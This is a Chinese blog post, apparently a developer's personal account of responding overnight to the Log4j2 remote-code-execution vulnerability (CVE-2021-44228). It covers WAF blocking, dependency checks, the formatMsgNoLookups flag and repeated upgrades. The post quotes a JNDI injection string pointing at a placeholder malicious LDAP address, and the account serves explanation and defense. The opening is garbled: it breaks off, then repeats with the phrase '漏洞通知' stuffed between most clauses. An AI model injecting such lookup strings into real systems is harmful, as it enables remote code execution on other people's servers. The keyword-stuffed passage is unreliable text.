烟消火灭网

凌晨两点十七分,手机屏幕突然亮了。不是消息,是邮件——来自公司安全组,标题只有一行字:“紧急:Log4j2 远程代码执行漏洞CVE-2021-44228)”。我盯着那行字看了三秒,后背开始发凉。那会儿

漏洞通知

凌晨两点十七分,漏洞通知手机屏幕突然亮了。漏洞通知不是漏洞通知消息,是漏洞通知邮件——来自公司安全组,标题只有一行字:“紧急:Log4j2 远程代码执行漏洞(CVE-2021-44228)”。漏洞通知我盯着那行字看了三秒,漏洞通知后背开始发凉。漏洞通知那会儿我还在上一家公司做后端,漏洞通知整个技术栈里几十个服务都跑在 Java 上,漏洞通知日志组件用的漏洞通知就是 Log4j2。说白了,漏洞通知这玩意儿像空气一样无处不在,漏洞通知你平时根本感觉不到它,漏洞通知可一旦出事,漏洞通知就是漏洞通知全线崩盘。

漏洞本身不复杂。攻击者只需要往任何会被记录到日志的字段里塞一段特定字符串,比如 ${ jndi:ldap://恶意地址/a},Log4j2 就会乖乖去远程加载并执行那段代码。听起来像科幻片?可它就这么发生了。我后来翻GitHub上的POC,发现连 Minecraft 服务器都中招了——玩家在聊天框里打一行字,服务器就沦陷。这种攻击面大到离谱,因为日志记录几乎无处不在:用户登录、接口参数、异常堆栈,甚至你打印个“hello world”都可能触发。

那天晚上我们紧急拉了个群。运维先上,把所有对外服务的 WAF 规则临时加了一条拦截 ${ jndi 的规则。但这只是止血,不是治病。开发这边开始排查依赖树,用 mvn dependency:tree | grep log4j 一条条翻。结果比预想更糟:有些老服务用的是 Log4j 1.x,以为没事,结果发现 1.x 也有类似问题,只是触发条件更苛刻。还有几个服务打包时把 Log4j2 的核心 jar 直接嵌进去了,升级依赖版本还得重新编译、重新部署。凌晨四点,我们决定先给所有 JVM 加启动参数 -Dlog4j2.formatMsgNoLookups=true,这能挡住大部分攻击向量。但心里清楚,这只是临时补丁。

第二天上午,官方发布了 2.16.0 版本,彻底移除了 JNDI 功能。我们又开始一轮升级。有个同事吐槽:“这玩意儿跟打地鼠一样,刚补完一个,又冒出来一个。”确实,那几天 CVE 编号一个接一个:2.17.0 修了新的 DoS,2.17.1 又补了别的。我盯着版本号从 2.15 跳到 2.17.1,感觉像在看一部荒诞剧。更让人头疼的是,有些第三方库自己依赖了旧版 Log4j,你升级自己的代码没用,得等上游更新。我们有个支付网关的 SDK 就卡在 2.14 上,厂商拖了一周才发新版。

这件事之后,我养成了一个习惯:每次新项目引入依赖,先跑一遍 dependency-check。不是信不过开源,是信不过自己——你永远不知道某个间接依赖里藏着什么。还有个细节挺有意思:漏洞爆发后,GitHub 上突然冒出几百个“Log4j 修复工具”的仓库,点进去一看,一半是脚本小子在蹭热度,另一半干脆是恶意软件。安全圈那几天热闹得像菜市场,有人忙着挖矿,有人忙着删库,还有人趁机发了一笔“漏洞财”。

现在回头看,Log4j 漏洞像一记闷棍,敲醒了很多人对供应链安全的幻觉。我们总以为代码是自己写的就安全,可现代软件是几百个开源组件堆起来的积木塔,你抽掉任何一块,整座塔都可能塌。那晚之后,我手机再也没关过静音——不是怕漏消息,是怕漏掉下一个“凌晨两点十七分”。

访客,请您发表评论:

© 2026. sitemap